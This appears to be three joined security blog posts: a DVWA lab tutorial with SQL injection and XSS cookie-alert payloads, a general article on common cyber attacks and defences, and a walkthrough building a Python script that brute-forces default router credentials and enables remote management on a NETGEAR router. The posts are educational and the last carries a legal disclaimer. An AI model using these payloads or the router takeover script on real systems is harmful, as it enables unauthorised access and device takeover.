Greetings my fellow hackers! This will be a multi-part DVWA hacking tutorial covering many practical examples for exploiting vulnerabilities, gaining a foothold, and taking over the host.
So you’ve got DVWA up and running, you see some kind of a login page, and have no idea where to get started? Fear not! I’ve been where you are. In this multi-part DVWA hacking tutorial I will cover numerous techniques for a full takeover of DVWA. Throughout this tutorial you’ll learn many hacking techniques and if you follow along you will learn how to practice hacking as well.
Using This Tutorial
To follow along with this tutorial you will need an instance of DVWA up and running. If you still need to install DVWA check out our tutorial: How to install DVWA in Ubuntu
Before we get started, we need to talk about DVWA security levels. Since DVWA is a tool for learning about cybersecurity, the authors implemented “levels” of difficulty. A higher security level generally means you’ll have a harder time exploiting vulnerabilities. For these tutorials, unless otherwise noted, we will be using the LOW security level.
Once you get more comfortable finding and exploiting vulnerabilities, try again on a higher security level. You will most likely find you need to change tactics!
DVWA Security Levels
How many security levels are there in DVWA?
There are 4 security levels in DVWA. These range from LOW to IMPOSSIBLE and set the difficulty for attacking the application. The security levels also reveal how specific issues can be coded more securely.
LOW – This security level is completely vulnerable and has no security measures at all. It is meant to be an example of how web application vulnerabilities manifest through bad coding practices.
MED – This level is more difficult than low and illustrates bad security practices, where the developer has tried but failed to secure an application. This level will require more sophisticated exploitation techniques.
HIGH – This option is an extension to the medium difficulty, with a mixture of harder or alternative bad practices to attempt to secure the code. The vulnerability may not allow the same extent of exploitation.
IMPOSSIBLE – This level should be secure against all vulnerabilities. It is used to compare the vulnerable source code to the secure source code.
How do I change security levels in DVWA?
Login with the default user (admin/password) and select DVWA Security from the menu on the left. Select the desired security level, and click Save. A message will indicate the security level was changed.
After checking that the security level is set appropriately, we can begin. Lets get started with a classic and still effective attack: sql injection.
DVWA Hacking Tutorial: SQL Injection
A SQL injection vulnerability occurs when user input is not properly sanitized before being used to form a database query. This timeless comic describes the issue nicely!
There are more than a handful SQL injection vulnerabilities in DVWA. We will start with the more obvious one by selecting SQL Injection from the left hand menu.
Exploration
We are presented with a form field asking for a User ID. This page looks like some kind of utility for looking up user information. Let us enter a random user id and see what happens. Why don’t we start with 1?
DVWA SQL Injection
It looks like User ID 1 belongs to the admin user. This is good information to save for later, but for now we want to hack something! Based on the provided output we could speculate that the backend query might look something like this:
SELECT firstName, surname FROM users WHERE id='$id';
Of course we are just speculating on the names of the columns. We are more interested in the actual structure of the query.
Exploitation
Let’s see what happens when we enter the following in the user ID field instead. Note: Be sure to copy the trailing space after the comment indicator: —
' or 1=1; --
The results should look a little different this time!
DVWA SQL Injection
What just happened? The query now directly includes the user input. This makes the query end up actually looking like this:
SELECT firstName, surname FROM users WHERE id='' or 1=1; -- ';
Now the WHERE clause is looking for any rows that match the condition id=” (never true) OR 1=1 (always true). This causes the query to return all users on the application. By adding a comment to the end of our input we instruct the query processor to ignore the rest of the line so we don’t get an error because of the additional apostrophe.
We now have a complete user listing of all users. With this information, we could now launch additional attacks. For instance, we could iteratively test User ID values and match them to individual users.
With a little imagination, and a SQL injection vulnerability, there is no limit to the damage an attacker can do to a vulnerable system.
DVWA Hacking Tutorial: XSS
Cross Site Scripting (XSS) is a type of vulnerability that allows for the execution of Javascript (or other) code for cookie stealing, information scraping, and in extreme cases, hackers can use XSS to download malware without any action by the user.
Let us select the XSS (Reflected) module from the menu on the left. Then we will once again begin with a benign entry to figure out what the application is doing.
DVWA Cross Site Scripting (XSS)
It looks as though the application is displaying our input directly on the page! This is often the first clue to a XSS vulnerability. Now we can test if the application does any filtering on the input.
This time let us include a little Javascript this time and display an alert window with our cookie if we are successful.
<script>alert(document.cookie);</script>
Once again the application includes our input directly on the page. As a result, we should see an alert window pop-up with our PHPSESSID and security level cookies.
DVWA XSS alert with cookie
Next time it might not be so easy. Even poorly implemented XSS filters will often remove < and > or look specifically for <script> tags. Evasion of XSS filters is an art in itself. Check out the XSS filter evasion cheat sheet and try again on a higher security level.
Wrapping Up
Hopefully this introductory DVWA hacking tutorial has taught you a few basic techniques to use when starting a penetration testing exercise. Check back soon for part 2 of this DVWA hacking tutorial for more advanced techniques and attacks. Did this tutorial help you? Was it horrible? Let us know in the comments below!
Welcome back to another informative article by SecuringNinja. Today we will explain the 7 most common types of cyber attacks that cyber criminals use everyday. Fear not, we will also share tips and tricks to protect against these types of cyber attacks.
Cyber criminals are continuously evolving their tactics and coming up with ever more creative ways to steal your personal information. Despite this constant evolution of tactics, there have been consistent trends in the types of attacks cyber criminals use.
The following 7 types of cyber attacks are some of the most common, and also the most dangerous.
Sounds scary right? Don’t worry. We are going to take a closer look at each type of attack, and show you some simple tricks for protecting yourself.
What is a phishing attack?
The first attack we will look at is a phishing attack. I’m sure you’ve already received quite a few phishing emails yourself, but lets take a look at what a phishing attack looks like.
A phishing attack is type of social engineering attack that cybercriminals use in order to extract information from you, or get you to take an action you normally would not take. This kind of attack typically begins with an email but may also come in the form of a phone call, or SMS message.
Example of a phishing attack.
The above example claims there is a picture of you on the linked website. Clicking the link leads to an innocent looking Twitter login form. Except this login form is actually controlled by the attackers. As soon as you submit your credentials the attackers can now login to your real Twitter account.
Cyber criminals will use a variety of psychological tricks to get you to click their link and enter your information. The example above is hoping to stir your curiosity enough that you just have to see this picture of you. Other techniques attempt to pressure you with a stressful situation, such as an impending account lock out.
While generalized phishing attacks hit almost everyone’s inbox at one point or another, there is another type of phishing attack that is much more difficult to detect.
Spear phishing attack
In a spear phishing attack, rather than sending generic phishing emails to a large mailing list of potential victims, cyber criminals will carefully research their target, their stressors, their personality, etc. and then send a very carefully crafted, and convincing, email to the victim.
Spear phishing attacks typically target individuals in high level positions such as the CEO or those with access to banking information.
Cyber criminals may also include information gathered from public sources, known as OSINT, to make the message that much more convincing. For example knowing that the CEO is currently traveling in Europe adds an extra layer of authenticity to the message.
How to protect against phishing attacks
Phishing attacks have only become more sophisticated and more difficult to detect over the years. However, there are still some common red flags that will identify phishing attempts.
Hover over links to check that they go where you expect.
Verify the sender and their email address.
Is this kind of request typical of this sender?
When in doubt call the sender and verify the request.
These simple tips will protect you against most common phishing attacks. Remember, security is a mind set and you must remain vigilant!
What is a man-in-the-middle attack?
A man-in-the-middle attack is a particularly nasty type of attack in which an attacker inserts themselves in the middle of your connection to a server. While you think you are communicating with facebook.com all of your traffic is actually being routed through a cybercriminals system allowing them to watch every action you take.
Example of a man-in-the-middle attack
A man-in-the-middle attack can be extremely dangerous because often times the user does not know they are communicating with the attacker and will happily enter their personal information.
Luckily there are a few simple measures you can take to protect yourself against a man-in-the-middle attack.
How to protect yourself against a man-in-the-middle attack
Prefer sites that offer HTTPS (look for the lock icon in your browser)
Use a VPN to send your traffic through an encrypted tunnel
Read and understand browser warnings!
Let us now look at each of these points in further detail. Beginning with step 1, you should always prefer sites that offer HTTPS. Most sites these days are secured with HTTPS so this is not as a big a problem as it once was. However server misconfigurations do occur so always check that a page is using HTTPS before entering sensitive information on a website.
HTTPS helps protect against man-in-the-middle attacks
While HTTPS encrypts the traffic between your computer and the web server, a VPN will encrypt all traffic leaving your computer and pass it through a VPN server in the cloud.
Read browser warnings!
Don’t just breeze through browser warnings! Your browser will warn you with a pretty obvious page if something is not quite right with the site’s SSL encryption (HTTPS).
Most of the time this occurs because the web administrator forgot to renew the certificate before the expiration date. The same warning can also occur when an attacker has inserted themselves in your connection and are using an invalid certificate. Ignoring the browser warning in this case would mean game-over for your privacy as the attacker can now see all your traffic as unencrypted plain-text.
While it is easy enough to see if a website is using an appropriate SSL certificate, the next attack requires a little bit more effort on the attacker’s part.
What is a SQL injection attack?
Any application or website that stores information from and about users will likely have some sort of database backend for storing information. Unfortunately, there are many poorly designed forms that do not properly sanitize user input. This can lead to attackers bypassing access checks (such as passwords) or even executing arbitrary commands on the server.
Let’s take a look at an example to see how a SQL injection attack works. For this example we’ll pretend we have a login form that accepts a username and password. If you want to follow along, make sure to download the SQL injection demo repository from Github.
Example SQL injection attack
Ordinarily when the user hits “Login” the application will take the field values, and execute a query that looks roughly like:
SELECT * FROM users
WHERE user_name LIKE ''
AND user_pass LIKE '';
Let us see what this looks like when we log in with our fictitious admin user. I say fictitious because surely no real admin has such a simple password…right?
SELECT * FROM users
WHERE user_name LIKE 'admin'
AND user_pass LIKE 'adminpassword';
If we get a result we know that user account ‘admin’ exists, and the password is correct.
A malicious password
What happens when a malicious attacker tries to gain access to this form? The need for proper input sanitization should immediately apparent. We can completely bypass the password check with a simple specially crafted password:
' OR 1=1;--
Now our query becomes:
SELECT * FROM users
WHERE user_name LIKE 'admin'
AND user_pass LIKE '' OR 1=1;-- ';
What happens now? The WHERE clause on the user_name will continue to function normally, but the real issue occurs when we check the password validity. Since the query OR 1=1; will always evaluate to TRUE, it does not matter what password is entered.
The addition of — after the end of our query is a SQL comment. Everything after the comment symbol is ignored. This is a handy trick for SQL injection attacks as it prevents any potential syntax errors with the rest of the query.
Preventing SQL injection with proper input sanitization
Obviously it is very bad news that the application executes any arbitrary SQL that is submitted. Luckily all it takes is a little of input sanitization and this problem can be alleviated. Sanitizing the previous malicious input gives us the following query:
SELECT * FROM users
WHERE user_name LIKE 'admin'
AND user_pass LIKE '\' OR 1=1;-- ';
We see that our imaginary sanitization parser has escaped the leading quote. Now MySQL treats the input as a simple string. This is obviously a very simple example and there are many more ways to inject SQL.
This is exactly why user input sanitization is so important. What if the user wasn’t necessarily malicious? What if their username was d’angelo? How would the application handle that with sanitization.
A SQL injection attack depends on the application containing a specific vulnerability. The next type of attack however, can target nearly any kind of network device and unleash a massive headache for administrators.
Distributed denial of service: the nuclear option
A distributed denial of service (DDoS) attack attempts to disrupt the operation of a website or service by overloading the system’s capacity through a large volume of erroneous or irrelevant requests. Attackers will often use a botnet , or large network of compromised machines, to carry out the attack. This is where a distributed denial of service attack derives its name. This makes IP based black-listing difficult as the requests are coming from a vast number of different originating IP addresses.
A common protection method against DDoS attacks is to use a CDN that also provides DDoS mitigation such as CloudFlare. Using such a service they can detect and mitigate DDoS attacks as they occur. You may have even heard of the unprecedented DDoS attack carried out by IoT devices against krebsonsecurity.com in 2016. In this attack malicious actors targeted Brian’s site with 10’s of millions of compromised IoT devices, Tgenerating almost 620 Gbps of traffic!
Martin McKeay, Akamai’s senior security advocate, said the largest attack the company had seen previously clocked in earlier this year at 363 Gbps.
Overview of a distributed denial of service attack
What is a password attack?
Hackers may often come across leaked databases of usernames and password hashes. Attackers cannot login with these password hashes directly. With enough time and computing power however, persistent attackers can break the hashes and recover the original password. This then allows the hackers to login to the service that the password protects.
Another method is to attack the login form directly with good old fashioned brute force. Brute force is essentially guessing with the hopes of finding the correct password. Do not be fooled. Brute-force password guessing is still one of the most common ways that attackers compromise accounts.
Rather than trying ever single possible combination of characters, numbers, and symbols, attackers will often start with common password lists. These lists have been accumulated over a large number of breaches, and are often sorted to put the most common passwords towards the top. This significantly reduces the time it takes to crack any accounts using simple or default passwords. You can pretty much guarantee if your password is ‘password’ your account is already compromised.
Cross-site scripting (XSS) is when embedded code on one site can take within the users browser. Such an attack is often used to exploit the victim, or steal cookies allowing attackers to impersonate the victim.
Let us take a closer look at how a cross-site scripting attack works. XSS is what is known as a client site code-injection attack. This means that the code is run in the victims browser. But how does the code get there in the first place? Well, unfortunately many sites online today are vulnerable to XSS right now. Popular targets include discussion boards or forum sites. These sites often do not properly sanitize user input before displaying messages and comments. This is all good and well when you have properly behaving users that use only text and funny cat images. But what if an attacker decided to post a bunch of malicious Javascript code rather than a thoughtful comment? This code, if not properly sanitized, could run in the browser of any one that visits that page.
Preventing a cross-site scripting attack
Similar to a SQL injection attack, a cross-site scripting attack depends on a vulnerability in the application. Proper design practices and user input sanitization are key to preventing a cross-site scripting attack.
What is a ransomware attack?
In a ransomware attack a cyber criminal will attempt to infect a user’s machine using a malicious piece of software known as ransomware. Ransomware has quickly become one of the most dangerous and damaging types of cyber attacks in use today. Once installed the software will begin to encrypt the users’ files with a strong encryption algorithm. The ransomware leaves the operating system and vital drivers alone so that the machine will continue to operate. The software leaves a ransomnote for the user. The note usually informs the user that their files have been encrypted and they will need to pay a ransom in order to unlock their files.
Example of the ransom note displayed by WannaCry
Security researchers have found ways to reverse the encryption on many popular ransomware variants. Cyber criminals however are continuing to evolve their tactics on a daily basis and it takes time to decompile and analysis the ransomware in order to even attempt to begin decryption. The best method to protect yourself from ransomware is to maintain a good clean back up. This will allow you to restore your files and not need to pay the ransom.
Perpetuating the cycle
Paying the ransom perpetuates the cycle as cybercriminals will continue to develop ransomware as long as it is profitable.
That is why many security professionals have said that the best way to stop these types of cyber attacks is to not pay the ransom. If the money dries up extorting victims the cyber criminals will look to other methods to finance their activities.
Ransomware attacks focus on larger targets
Ransomware has also become a plight of many small businesses and small municipalities or local governments. These organizations usually have lower budgets for security and lower awareness overall. This makes them easy targets for cyber criminals who can now demand a higher ransom. An individual may consider their family photo collection priceless, but that doesn’t mean they have $10k to fork over to decrypt. A school district whose records were encrypted? Much more likely.
Staying safe. Staying cyber-secure.
While it may seem like an up-hill battle staying secure in today’s evolving threat landscape is all about the mindset. By learning about the most common types of cyber attacks you are arming yourself with the knowledge you need to protect yourself from cybercriminals. Be mindful of the information you give out, and always think about the potential security repercussions of your actions.
If you are interested in cybersecurity you may enjoy our other articles:
Routers provide access to the Internet for millions of users, but hackers are also using routers to gain access into your home network. In this article I expose the dangers of default credentials by performing a brute force router takeover.
Many modern home routers offer a remote management feature, and luckily router manufacturers have stopped enabling this by default. It is not very difficult to activate this functionality. Once enabled an attacker can access and modify any settings on your router from anywhere in the world. Worst of all, your router will not give any indication that it has been compromised until it is far too late.
I decided to spend the weekend attempting to exploit this feature in my home router, a NETGEAR WNDR4300. This article will cover the analysis of the router administration pages. I then describe the development of a Python script to programmatically enable remote management. This example of a brute force router takeover will make you want to change your default router credentials if you haven’t already! In the follow up article I will cover how this same functionality may be exploited by a weaponized website.
Disclaimer
When analyzing cybersecurity it is often useful, and even critical to take the mindset of an attacker. This should not be interpreted as an endorsement for illegal cyber activities. I take no responsibility for anything you do with this information. I provide it only with the hopes that it will enhance your knowledge of cybersecurity. Hacking networks and routers that you do not own is illegal unless you have express permission from the owner to do so. Always run your experiments in a controlled test environment that you own or have permission to use.
With that bit out of the way, let’s get started! If you would like to download the code developed in this article and follow along head on over to Github and download it there: PORTAL on Github
Analyzing the Administration Pages
I started this brute force router takeover by pulling up my router administration page and logging in, but not before starting Wireshark to sniff HTTP traffic. The administration console all operate with plaintext HTTP. This made it very easy to sniff the packets in Wireshark.
Like most routers, my router also uses basic authentication to access the router administration pages. Default credentials are available for most routers on the Internet, and I’m willing to bet you haven’t changed yours. This was the first piece of the puzzle I wanted to test. I decided to use the Python Requests library to test if I can authenticate against the router. Requests even has a shortcut method for passing basic authentication credentials shown below.
>>> import requests
>>> r = requests.get('http://admin:password@192.168.1.1/index.htm') >>> r.status_code
200
Perfect! HTTP status 200 means we have authenticated successfully. With this bit working, I knew I could easily loop through a few password lists to test default router credentials.
Enable Remote Management
The next piece of the puzzle is to figure out exactly how remote management is enabled. I navigated to this section of the administration pages and pulled up the page source in my browser.
Remote management form data
My router uses a combination of HTML frames and Javascript to display the administration pages. The remote management settings are a simple form which get submitted to /apply.cgi.
The administration page that is being edited is passed as a URL parameter, in this case /FW_remote.htm. There is also an additional parameter called timestamp. If you are a curious type and plug this timestamp into a UNIX timestamp converter you may find that it corresponds to a date of February 13, 4374. That doesn’t seem right…
Refreshing the page changed the value, but not as one might expect for a timestamp. It was a completely new random number with another random date.
Form Tokens
This strangely behaving timestamp led me to believe that it wasn’t a timestamp at all. I began to suspect it was a type of form token to prevent automated attacks against the form. I copied the HTML out of the browser and recreated the form in a simple HTML file on my local machine.
Submitting the form in my browser correctly enabled remote management. If I try to submit the form again however, the request fails. This makes sense if the timestamp is in fact a token as it would have already been ‘used’ in the first request.
I went back over to the page source for the administration page and refreshed so I could grab a new token. I copied this new token into my local HTML form and tried submitting the form again. Once again I had successfully enabled remote management on the router.
In summary: The router serves up the administration page with a unique timestamp value in the form target. This same token must be present when submitting the form or the request will fail.
The timestamp parameter I discovered in this form is in fact the form token. This is a minor nuisance as we can still load the page initially and scrape the timestamp value before submitting our form.
Automating the Attack
Surely we can’t be expected to try each combination of user and password manually! This is where can leverage just a little bit of Python. The first step is determining the correct credentials to use. Luckily these passwords are usually left as the default and are freely available online. We start by having our Python script load data from two sets of files, users.txt and passwords.txt. These values are simply stored in a Python list.
Python: load username and password files
# Empty lists of usernames and passwords
user_names = []
passwords = []
# Load usernames
f = open('users.txt','r')
data = f.readlines()
# Strip removes the newline from the end of each row
user_names = [user.strip() for user in data]
# Load passwords
f = open('passwords.txt','r')
data = f.readlines()
# Strip removes the newline from the end of each row
passwords = [password.strip() for password in data]
# Print the loaded information
print 'Loaded users: {}'.format(user_names)
print 'Loaded passwords: {}'.format(passwords)
We then use a nested for loop to iterate through each password for each username. Each iteration through the loop we test the next user and password combination and submit the request to the router IP.
# For each username...
for user in user_names:
# Test each password...
for password in passwords:
# Test username and password here
If we receive a 200 response, we can assume we figured out the credentials most of the time (more on this later). During testing I started with a single username, and only two passwords. A correct one, and an incorrect one. The Python script tests the first, incorrect password, receives a 401 response, and then proceeds to try again with the second, correct, password. At this point the script receives a 200 response and stores the user and password combination as verified_user and verified_pass.
False Positives
It wasn’t until I began running more realistic tests with an increased combination of usernames and passwords that I noticed something odd. It seemed as though it would always succeed on the fourth attempt regardless of which password was used. I added a debug statement to the code which dumps out the received HTML content on each response.
It turns out after 3 failed login attempts my router does not respond with a 401 status code. Instead it responds with a 200 status code, and an Unauthorized Access page. My code only performed checks on the returned status code resulting in a false positive. The page that is returned simply has 401 Unauthorized in the title, so I added an additional check in for this string in the response body.
With this modification my script happily tested passwords until it actually received the correct one.
False Negatives
From time to time it also appeared that the script would never find the correct password. I assumed this was due to the speed with which I was sending requests. I added a small delay to the main loop and performance increased drastically.
Opening the Portal
Now that we are able to successfully access the router administration pages, it is time to see what we can alter. Ideally we want to open a remote management port on the Internet side of the router. This allows us access the router whenever we want with out depending on the users machine. As we saw in the initial analysis, enabling remote management is a simple matter of submitting an HTML form with the correct ‘timestamp’ token. The first step is getting the code to load the administration page we are after, and scraping the timestamp value from the response. The code below shows the page request process and the use of a simple regex to extract the timestamp value. This piece of the code runs as it iterates through the username and password values. If the correct username and password is found, the timestamp value is extracted.
Python: brute force passwords
# Build full URL with username and password from list
url = 'http://{}:{}@{}/{}'.format(user, password, target_ip, target_page)
# Retrieve URL
r = requests.get(url)
# If we authenticated successfully, extract timestamp
if r.status_code == 200 and '401 Authorization' not in r.text:
print '[+] Found correct user and password: {}:{}'.format(user, password)
verified_user = user
verified_pass = password
# Use a regex to extract the timestamp value
m = re.search('timestamp=(.*)\"', r.text)
if m:
timestamp = int(m.group(1))
print '[+] Found timestamp: {}'.format(timestamp)
# We have what we need, break out of the loop
break
With the timestamp in hand we need the code to craft the request, and send it! We already have the required form fields, and the correct URL for submitting our POST request from our previous analysis. Below shows the snippet of code responsible for enabling remote management on the router.
Python: enable remote management
# Page URL with timestamp from above
page = 'apply.cgi?/FW_remote.htm%20timestamp={}'.format(timestamp)
# Complete URL with username and password determined earlier
url = 'http://{}:{}@{}/{}'.format(verified_user, verified_pass, target_ip, page)
# Form data to enable remote management (extracted from Wireshark sniffing)
# We include http_rmport as a variable so we can use a custom value in the future.
data = { 'submit_flag': 'remote', 'http_rmenable': '1', 'local_ip': '...', 'remote_mg_enable': '0', 'rm_access': 'all', 'http_rmport': str(rmport) }
# Submit the request!
r = requests.post(url, headers=headers, data=data)
I ran the code and quickly popped over to my browser to check. Sure if enough, remote management was enabled!
A Complete Brute Force Router Takeover
Well, there you have it, a brute force router takeover. We have successfully developed a Python script to brute force basic authentication credentials on router administration pages. The script also enables remote management automatically. If you would like to download the code developed in this article head on over to Github and download it there: PORTAL on Github
If you make improvements to this code, or support additional routers, please submit a pull request. Drop me a comment below if you have any questions at all, or if you found this code useful! So, are you still using default credentials on your router?
If you enjoyed reading this article I highly recommend checking out my other posts covering topics from Linux, to finance, and even horticulture!
